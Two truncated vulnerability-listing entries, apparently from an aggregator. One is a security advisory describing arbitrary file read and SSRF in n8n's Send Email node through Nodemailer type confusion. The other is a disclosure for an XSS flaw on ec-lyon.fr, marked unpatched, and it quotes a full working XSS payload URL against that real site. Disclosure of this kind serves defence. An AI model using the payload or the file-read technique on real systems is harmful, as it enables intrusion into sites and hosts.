GHSA-2X35-3FW4-9JR4 n8n: Send Email Node Arbitrary File Read and SSRF via Nodemailer Content-Object Type Confusion

Impact The n8n Send Email node did not enforce that its message fields were strings, so a crafted untrusted non-string value from a workflow expression could be treated by the underlying mail library as a file path or URL. This could allow disclosure of local files on the n8n host. Exploitation...

ec-lyon.fr XSS vulnerability

Vulnerable URL: http://www.ec-lyon.fr/en/email/node/2023/fieldemail/%3C!%27/!%22/!/%27//%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=confirm1%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 20.12.2017 Vulnerability type:| XSS Vulnerability...